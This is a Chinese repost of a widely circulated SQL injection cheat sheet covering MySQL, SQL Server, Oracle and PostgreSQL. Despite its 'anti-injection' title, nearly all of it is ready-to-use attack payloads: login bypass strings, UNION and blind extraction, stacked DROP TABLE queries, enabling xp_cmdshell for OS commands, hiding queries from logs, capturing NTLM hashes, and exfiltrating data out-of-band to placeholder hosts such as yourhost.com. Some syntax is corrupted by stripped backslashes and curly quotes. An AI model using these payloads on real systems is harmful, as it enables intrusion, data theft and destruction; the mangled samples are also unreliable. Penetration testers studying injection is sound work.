Java教程
SQL防注入大全——史上最全的 SQL 注入资料
什么是 SQL 注入速查表？
SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源。这份速查表对于经验丰富的渗透测试人员，或者刚开始接触 Web应用安全 的初学者，都是一份很好的参考资料。
关于这份 SQL 注入速查表
这份 SQL 速查表最初是 2007 年时 Ferruh Mavituna 在他自己的博客上发布的。我们更新了它并将它移到了公司 CEO 的博客上。现在，这份速查表仅包含了 MySQL 、SQL Server，和有限的一些关于 Oracle 和 PostgerSQL 数据库的信息。表中的部分示例可能无法在每一个场景都正常运行，因为真实使用的环境中，可能因为括号的使用、不同的代码上下文以及出乎意料的、奇怪而复杂的 SQL 语句而有所差异。
示例提供给你关于潜在攻击的基本思路，而且几乎每节都包含有简短的说明。
M：MySQL
S：SQL Server
P：PostgreSQL
O：Oracle
+：可能出现在其他所有数据库
例如：
（MS）代表：MySQL 和 SQL Server 等
（M*S）代表：仅部分版本及有特殊说明的 MySQL，以及 SQLServer
目录表
语法参考，攻击样例以及注入小技巧
（1）行间注释
使用了行间注释的 SQL 注入攻击样例
（2）行内注释
经典的行内注释注入攻击样例
MySQL 版本探测攻击样例
（3）堆叠查询（Stacking Queries）
支持堆叠查询的语言/数据库
关于 MySQL 和 PHP
堆叠注入攻击样例
（4）If 语句
MySQL 的 If 语句
SQL Server 的 If 语句
If 语句的注入攻击样例
（5）使用整数（Integers）
（6）字符串操作
字符串的连结
（7）没有引号的字符串
基于 16 进制的注入攻击样例
（8）字符串变体 & 相关知识
（9）Union 注入
UNION — 语言问题处理
（10）绕过登陆界面
（11）在SQL Server 2005 中启用 xp_cmdshell
（12）探测 SQL Server 数据库的结构
（13）从基于错误的 SQL 注入中快速提取数据的方法
（14）SQL 盲注
（15）掩盖痕迹
（16）MySQL 的额外说明
（17）二阶 SQL 注入
（18）带外（OOB）频道攻击
语法参考、攻击示例和注入小技巧
结束 / 注释掉 / 行注释
行间注释
注释掉查询语句的其余部分
行间注释通常用于忽略掉查询语句的其余部分，这样你就不用处理因为注入导致的语法变动。
— （SM）
DROP sampletable;–
DROP sampletable;#
行间注释的 SQL 注入攻击示例
用户名：admin’–
SELECT * FROM members WHERE username = ‘admin’–’ AND password = ‘password’
这会让你以admin用户身份登录，因为其余部分的SQL语句被注释掉了。
行内注释
通过不关闭的注释，注释掉查询语句的其余部分，或者用于绕过黑名单过滤、移除空格、迷惑和探测数据库版本。
/这里是注释内容/ （SM）
DROP/注释/sampletable
DR/**/OP/绕过过滤/sampletable
SELECT/消除空格/password//FROM//Members
/*! MYSQL 专有 SQL */ （M）
这是 MySQL 的专有语法。非常适合用来探测 MySQL 版本。如果你在注释中写入代码，只有 MySQL 才会执行。你同样可以使用这个方法，让代码只在服务器版本高于指定版本才执行。
SELECT /*!32302 1/0, */ 1 FROM tablename
经典的行内注释 SQL 注入攻击示例
ID: 10; DROP TABLE members /*
在查询结尾简单地去除其他内容。等同于 10; DROP TABLE members —
SELECT /*!32302 1/0, */ 1 FROM tablename
如果 MySQL 版本高于 23.02 会抛出一个除数为 0（division by 0）的错误
MySQL 版本探测攻击示例
ID: /!32302 10/
ID: 10
如果 MySQL 的版本高于 23.02，执行上面两个查询你将得到相同的结果
SELECT /*!32302 1/0, */ 1 FROM tablename
如果 MySQL 版本高于 23.02 会抛出一个除数为 0（division by 0）的错误
堆叠查询
在一个事务中执行多个查询。这在每一个注入点都非常有用，尤其是后端使用了 SQL Server 的应用程序。
; （S）
SELECT * FROM members; DROP members–
结束一个查询并开始一个新的查询。
语言 / 数据库堆叠查询支持表
绿色：支持；深灰色：不支持；浅灰色：未知
关于 MySQL 和 PHP
阐明一些问题
PHP – MySQL 不支持堆叠查询，Java 不支持堆叠查询（Oracle 我很确定，其他的就不太确定了）。通常来说 MySQL 支持堆叠查询，但在 PHP – MySQL 应用程序中大多数配置下的数据库层都不能执行第二条查询，也许 MySQL 客户端支持这个，我并不是很确定。有人能说明下吗？
堆叠注入攻击示例
ID: 10;DROP members —
SELECT * FROM products WHERE id = 10; DROP members–
这在正常SQL查询执行后将会执行 DROP members 语句。
If语句
根据If语句得到响应。这是盲注（Blind SQL Injection）的关键点之一，在盲注和精确的简单测试中都非常有用。
MySQL 的 If 语句
IF(condition,true-part,false-part)（M）
SELECT IF(1=1,‘true’,‘false’)
SQL Server 的 If 语句
IF condition true-part ELSE false-part（S）
IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
Oracle 的 If 语句
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;（O）
IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
PostgreSQL 的 If 语句
SELECT CASE WHEN condition THEN true-part ELSE false-part END;（P）
SELECT CASE WEHEN (1=1) THEN ‘A’ ELSE 'B’END;
If 语句的 SQL 注入攻击示例
if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S)
如果当前登录的用户不是 ”sa” 或 “dbo”，语句会抛出 除数为0 的错误。
整数的使用
对于绕过非常有用，如 magic_quotes() 和类似的过滤器，甚至是各种WAF。
0xHEXNUMBER（SM）
你可以这样使用 16 进制数。
SELECT CHAR(0x66)（S）
SELECT 0x5045 （这不是一个整数，而会是一个 16 进制字符串）（M）
SELECT 0x50 + 0x45 （现在这个是整数了！）（M）
字符串操作
字符串相关的操作。这些对于构造不含引号、绕过黑名单或探测后端数据库的注入非常有用。
字符串的连结
- （S）
SELECT login + ‘-’ + password FROM members
|| （*MO）
SELECT login || ‘-’ || password FROM members
- 关于 MySQL 的 “||”
仅当 MySQL 在 ANSI 模式下这（指 “||” 符号）才会执行，其他模式下 MySQL 会当成 逻辑运算符 并返回 0。更好的方式是使用 MySQL 的 CONCAT() 函数。
CONCAT(str1, str2, str3, …) （M）
连接参数里提供的字符串。
SELECT CONCAT(login, password) FROM members
没有引号的字符串
有一些直接的方式可以使用字符串，但通常更合适的是使用 CHAR() （MS） 和 CONCAT() （M） 来生成无引号的字符串。
0x457578 （M） - 字符串的 16 进制表示
SELECT 0x457578
这在 MySQL 中会被当做字符串处理。在 MySQL 中更简单地生成 16 进制字符串的方式是使用下面这个方法：
SELECT CONCAT(‘0x’,HEX(‘c:boot.ini’))
在 MySQL 中使用 CONCAT() 函数
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) （M）
这会返回‘KLM’。
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
这会返回‘KLM’。
SELECT CHR(75)||CHR(76)||CHR(77) (O)
这会返回‘KLM’。
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) §
这会返回‘KLM’。
基于 16 进制的 SQL 注入示例
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) （M）
这会显示 c:boot.ini 的内容
字符串变体 & 相关知识
ASCII() （SMP）
返回最左边字符的ASCII码的值。这是盲注的一个必备函数。SELECT ASCII(‘a’)
CHAR() （SM）
将一个整数转换为对应的ASCII值。SELECT CHAR(64)
Union注入
通过union你能跨表执行 SQL 查询。 基本上你可以污染（注入）查询使它返回另一个表的记录。
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
这个查询会联结并返回 news 表和 members 表的所有记录。
另一个例子：
’ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
UNION – 语言问题处理
当你使用 Union 注入的时候，有时会遇到错误，因为不同语言的设置（表的设置、字段的设置、表或数据库的联结设置等等），下面这些函数对于解决以上问题很有用。这样的问题比较少见，但当你处理例如日文、俄文、土耳其文或其他类似的应用程序时，你就会发现了。
SQL Server （S）
使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS 或其他有效的方式 – 具体信息可以查看 SQL Server 的文档。
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
MySQL （M）
Hex() 基本上可以解决所有出现的问题。
绕过登录界面（SMO+）
SQL 注入入门指引，登录小技巧
admin’ —
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–
….
以不同的用户登录 （SM*）
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
- 旧版本的 MySQL 不支持 union 查询
绕过检查 MD5 哈希的登录界面
如果应用是先通过用户名获取记录，然后再把返回的 MD5 值与你输入的密码的 MD5 进行比较，那么你就需要一些额外的技巧欺骗应用来绕过验证了。你可以将一个已知明文的 MD5 哈希和它的明文一起提交，这种情况下，应用会比较你的密码和你提供的 MD5 值，而不是从数据库获取的 MD5。
绕过 MD5 检查的例子 （MSP）
Username : admin
Password : 1234 ’ AND 1=0 UNION ALL SELECT ‘admin’, '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
基于错误 – 探测列名
使用 HAVING 探测列名 – 基于错误（S）
顺序不分先后
‘ HAVING 1=1 —
‘ GROUP BY columnfromerror1 HAVING 1=1 —
‘ GROUP BY columnfromerror1, columnfromerror2 HAVING 1=1 —
‘ GROUP BY columnfromerror1, columnfromerror2,
columnfromerror(n) HAVING 1=1 — and so on
直到不再报错就完成了。
在 SELECT 查询中使用 ORDER BY 探测有多少个列（MSO+）
通过 ORDER BY 探测列数可以加快 UNION 注入的进度。
ORDER BY 1–
ORDER BY 2–
ORDER BY N– so on
持续操作直到出现错误，报错时使用的数字就是列数了。
数据类型、UNION 等
提示：
在使用 UNION 时总是搭配上 ALL，因为会存在相同值的字段，而缺省情况下，Union 都会尝试返回非重复的记录。
在查询的开始处，可以使用 -1 或者其他不存在的值来去除左侧表中非必须的记录（前提是注入点在 WHERE 语句里）。如果你一次只想取得一条记录，这是非常关键的点。
在对大多数数据类型的 UNION 注入中使用 NULL 代替猜测它是字符串、日期、整数等类型。
盲注的情况下，要注意判断错误时来自数据库还是来自应用程序本身。因为像 ASP.NET 或有其他语言，通常在使用 NULL 值的时候会抛出错误（因为开发者们一般没有想过用户名字段会出现 NULL）
获取列类型
‘ union select sum(columntofind) from users— （S）
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.如果没有返回错误说明字段是数字类型（numeric）.
你也可以使用 CAST() 或者 CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–
- UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
没有错误 – 语法是对的。这是 MS SQL Server 的语法。继续。
- UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
没有错误 – 第一列是 integer 类型。
- UNION SELECT 1,2,NULL,NULL WHERE 1=2 —
错误！ – 第二列不是 integer 类型。
- UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
没有错误 – 第二列是 string 类型。
- UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
报错！ – 第三列不是 integer 类型。
…Microsoft OLE DB Provider for SQL Server error ‘80040e07
’
Explicit conversion from data type int to image is not allowed.
你在遇到 union 错误之前会遇到 convert() 错误！ 所以从 convert() 开始，再用 union。
简单的注入（MSO+）
'; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*
有用的函数 / 信息收集 / 存储过程 / Bulk SQL 注入说明
@@version（MS）
数据库的版本和关于 SQL Server 的详细信息。这是个常量，你能把它当做一个列来 select，而且不需要提供表名。同样，你也能在 insert、update 语句或者函数里使用它。
INSERT INTO members(id, user, pass) VALUES(1, ‘’+SUBSTRING(@@version,1,10) ,10)
Bulk insert（S）
（补充说明：bulk insert 是 SQL Server 的一个命令）
插入一个文件的内容到表中。如果你不知道应用的内部路径，可以读取 IIS（仅限 IIS 6）的元数据库文件（metabase file，%systemroot%system32inetsrvMetaBase.xml）然后找出应用的路径。
Create table foo( line varchar(8000) )
bulk insert foo from ‘c:inetpubwwwrootlogin.asp’
Drop 临时表，并重复另一个文件。
BCP（S）
（补充说明：BCP 是 SQL Server 的一个工具）
写文本文件。使用这个功能需要登录。
bcp “SELECT * FROM test…foo” queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar
SQL Server 中的 VBS 和 WSH（S）
开启 ActiveX 支持的情况下，你可以在 SQL Server 中使用 VBS 和 WSH 脚本编程。
declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ —
执行系统命令、xp_cmdshell（S）
众所周知，在 SQL Server 2005 中默认是禁用的。你需要 Admin 权限。.
EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
用 ping 简单检查下 （在开始之前先配置好你的防火墙或嗅探器确认请求能发出）
EXEC master.dbo.xp_cmdshell ‘ping ‘
你无法从错误或 union 或其他的什么直接读取结果。
SQL Server 中的一些特殊表（S）
Error Messages
.sysmessages
Linked Servers
.sysservers
Password （2000 和 2005 版本都能被入侵，它们使用非常相似的哈希算法）
SQL Server 2000:.sysxlogins
SQL Server 2005 : sys.sql_logins
SQL Server 的其他存储过程（S）
命令执行（xp_cmdshell）
exec master…xp_cmdshell ‘dir’
注册表相关（xp_regread）
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServiceslanmanserverparameters’, ‘nullsessionshares’
exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’
管理服务（xp_servicecontrol）
媒体（xp_availablemedia）
ODBC 资源（xp_enumdsn）
登录模式（xp_loginconfig）
创建 Cab 文件（xp_makecab）
域名列举（xp_ntsec_enumdomains）
结束进程（需要进程 ID）（xp_terminate_process）
创建新程序（实际上你想执行什么都可以了）
sp_addextendedproc ‘xp_webserver’, ‘c:tempx.dll’
exec xp_webserver
将文本文件写进 UNC 或内部路径（sp_makewebtask）
MSSQL Bulk 说明
SELECT * FROM master…sysprocesses /WHERE spid=@@SPID/
DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master…xp_cmdshell OSQL /Q”DBCC SHOWCONTIG”
OPENROWSET (Transact-SQL) – http://msdn2.microsoft.com/en-us/library/ms190312.aspx
你不能在 SQL Server 的 Insert 语句里使用子查询。
使用 LIMIT（M）或 ORDER（MSO）的注入
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,‘x’/*,10 ;
如果注入点在 limit 的第二个参数处，你可以把它注释掉或者使用 union 注入。
停止 SQL Server（S）
当你真的不开心了，可以使用 ‘;shutdown —
在 SQL Server 中启用 xp_cmdshell
默认情况下，在 SQL Server 2005 中 xp_cmdshell 和其他一些存在潜在危险的存储过程都是被禁用的。如果你有 admin 权限就可以启用它们了。
EXEC sp_configure ‘show advanced options’,1
RECONFIGURE
EXEC sp_configure ‘xp_cmdshell’,1
RECONFIGURE
探测 SQL Server 数据库的结构（S）
获取用户定义表
SELECT name FROM sysobjects WHERE xtype = ‘U’
获取字段名
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)
移动记录（S）
修改 WHERE 和使用 NOT IN 或 NOT EXIST
… WHERE users NOT IN (‘First User’, ‘Second User’)
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) – very good one
使用恶劣的小技巧
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as intSelect p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=‘U’ and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = ‘U’) as p where p.x=21
从基于错误的 SQL 注入中快速提取数据的方法（S）
‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’
SELECT @rd=@rd+’ '+name FROM syscolumns
WHERE id =(SELECT id FROM sysobjects WHERE name = ‘MEMBERS’)
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;–
详细说明可以查看文章：从基于错误的 SQL 注入中快速提取数据的方法
探测 MySQL 数据库的结构（M）
获取用户定义表
SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’
获取列名
SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’
探测 Oracle 数据库的结构（O）
获取用户定义表
SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’
获取列名
SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’
SQL 盲注
关于 SQL 盲注
在一个良好的生产环境应用程序中，通常你无法在页面上看到错误（error）提示，所以你也就无法通过 Union 攻击或者基于错误的攻击中提取数据。你不得不使用盲注攻击来取得数据。SQL 盲注存在有两种类型：
一般盲注：你无法在页面中看到响应，但你仍然可以通过响应或 HTTP 状态码确定查询的结果；
完全盲注：无论你怎么注入也无法从输出看出任何变化。这样你只能通过日志记录或类似的来注入。虽然这并不常见。
在一般盲注情况中你可以使用 if 语句或者 WHERE 查询来注入（一般来说很容易），在完全盲注你需要使用一些延时函数并分析响应时间。因此你可以在注入 SQL Server 时使用 WAIT FOR DELAY ‘0:0:10’，注入 MySQL 时使用 BENCHMARK() 和 sleep(10)，注入 PostgreSQL 时使用 pg_sleep(10)，还有对 ORACLE 的一些 PL/SQL 小技巧。
真实且有点复杂的 SQL 盲注攻击示例
这些输出来自于一个真实的私有 SQL 盲注工具对使用 SQL Server 的后端程序的攻击和表名遍历。这些请求完成了探测第一个表名的首字符。因为是自动化攻击，SQL 查询比实际需求复杂一些。过程中我们通过二分查找算法尝试确定字符的 ASCII 值。
TRUE 和 FALSE 标记代表查询返回的是 true 或 false。
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78–
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103–
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89–
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83–
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80–
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
当最后两个查询失败我们可以毫无疑问地确定表名第一个字符的 ASCII 值是 80，这意味着第一个字符是 P。这就是使用二分查找算法进行 SQL 盲注的方法。另一个常见的方法是一位一位（bit）地读取数据。这两个方法在不同情况下都有效。
延时盲注
首先，在完全没有提示（really blind）的情况下才使用，否则使用 1/0 方式的错误辨认差异。其次，使用超过 20 秒的延时需要小心，因为数据库的 API 连接或脚本可能出现超时。
WAIT FOR DELAY ‘time’（S）
这个与sleep一样，等待指定的时间。通过 CPU 安全的方法让数据库等待。
WAITFOR DELAY ‘0:0:10’–
另外，你也可以使用分数，像这样
WAITFOR DELAY ‘0:0:0.51’
真实案例
是否‘sa’用户？
if (select user) = ‘sa’ waitfor delay ‘0:0:10’
ProductID = 1;waitfor delay ‘0:0:10’–
ProductID =1);waitfor delay ‘0:0:10’–
ProductID =1′;waitfor delay ‘0:0:10’–
ProductID =1′);waitfor delay ‘0:0:10’–
ProductID =1));waitfor delay ‘0:0:10’–
ProductID =1′));waitfor delay ‘0:0:10’–
BENCHMARK()（M）
基本上，很多人滥用这个命令来做 MySQL 的延时。小心使用，这会很快地消耗服务器的资源！
BENCHMARK(howmanytimes, do this)
真实案例
判断是否 root 用户
IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
判断表是否存在
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds)（P）
睡眠指定的秒数。
SELECT pg_sleep(10);
睡眠 10 秒。
sleep(seconds)（M）
睡眠指定的秒数。
SELECT sleep(10);
睡眠10秒。
dbms_pipe.receive_message（O）
睡眠指定的秒数。
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100)
THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)
{INJECTION} = 你想实际运行的查询。
如果条件为真（true），会在10秒后才响应。如果是假（false），延迟1秒就返回。
掩盖痕迹
SQL Server -sp_password 日志绕过（S）
出于安全原因，SQL Server 不会将包含 sp_password 的查询记录到日志中。. 所以如果你在查询中加入 –sp_password 选项，你执行的查询就不会出现在数据库日志中（当然，在 Web 服务器的日志里还是会有，所以可能的话尽量使用 POST 方法）
清晰的 SQL 注入测试
这些测试完全适用于 SQL 盲注和静默攻击。
asp?id=4（SMO）
asp?id=5-1
asp?id=4 OR 1=1
asp?name=Book
asp?name=Bo’%2b’ok
asp?name=Bo’ || ’ok（OM）
asp?name=Book’ OR ‘x’=’x
MySQL 的额外说明
子查询只在 MySQL 4.1 或以上版本才生效
用户
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
SELECT … INTO DUMPFILE
把查询写入一个新文件（不能修改已有的文件）
UDF 函数
create function LockWorkStation returns integer soname ‘user32’;
select LockWorkStation();
create function ExitProcess returns integer soname ‘kernel32’;
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
admin密码哈希值的第一位
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
读取文件
php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
MySQL Load Data infile
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );
create table foo( line blob );
load data infile ‘c:/boot.ini’ into table foo;
select * from foo;
这个功能默认是没有开启的！
MySQL 的更多延时方法
select benchmark( 500000, sha1( ‘test’ ) );
php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ );
遍历数据，暴力猜解
潜在有用的 MySQL 函数
MD5()
MD5 哈希
SHA1()
SHA1 哈希
PASSWORD()
ENCODE()
COMPRESS()
压缩数据，在 SQL 盲注读取大量二进制数据时很有用。
ROW_COUNT()
SCHEMA()
VERSION()
等同于 @@version
二阶 SQL 注入
一般你在某个地方进行 SQL 注入并期望它没有被过滤掉。这是常见的隐藏层问题。
Name : ’ + (SELECT TOP 1 password FROM users ) + ’
Email : xx@xx.com
如果应用程序在一个不安全的存储过程（或函数、流程等）中使用了 name 字段，那么它会将第一个用户的密码写入到你的 name 字段。
通过强迫 SQL Server 来得到 NTLM 哈希
这个攻击能帮你得到目标服务器上 SQL Server 用户的 Windows 密码，不过你的接入连接可能会被防火墙拦截。这在内部渗透测试中非常有用。我们强迫 SQL Server 连接我们的 Windows UNC 共享（Windows 上常见的网络共享）并通过类似 Cain & Abel（网络嗅探和口令破解工具）的工具捕获 NTLM 会话数据。
从一个 UNC 共享进行 Bulk insert（S）
bulk insert foo from ‘YOURIPADDRESSC$x.txt’
查看 Bulk Insert Reference 可以让你了解怎么使用 bulk insert。
带外攻击
SQL Server
{INJECTION} = 你想要执行的查询。
?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;‘sa’;‘pwd’, ‘SELECT 1’)
将 DNS 解析请求转到 {INJECT}.yourhost.com
?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘’+({INJECTION})+’.yourhost.comtest.txt’; EXEC master…xp_dirtree @q
将 DNS 解析请求转到 {INJECTION}.yourhost.com
MySQL
{INJECTION} = 你想要执行的查询。
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(’’,({INJECTION}), ‘yourhost.com’)))
将 NBNS 查询请求或 DNS 解析请求转到 com
?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘yourhost.comshareoutput.txt’)
将数据写到你的共享文件夹或文件
Oracle
{INJECTION} = 你想要执行的查询。
?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||’’) FROM DUAL)
嗅探程序将会保存结果
?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
结果将会被保存到 HTTP 访问日志
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
你需要监测去到com 的 DNS 解析请求
?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
你需要监测去到com 的 DNS 解析请求
来源：https://blog.csdn.net/johnsuna/article/details/53373635
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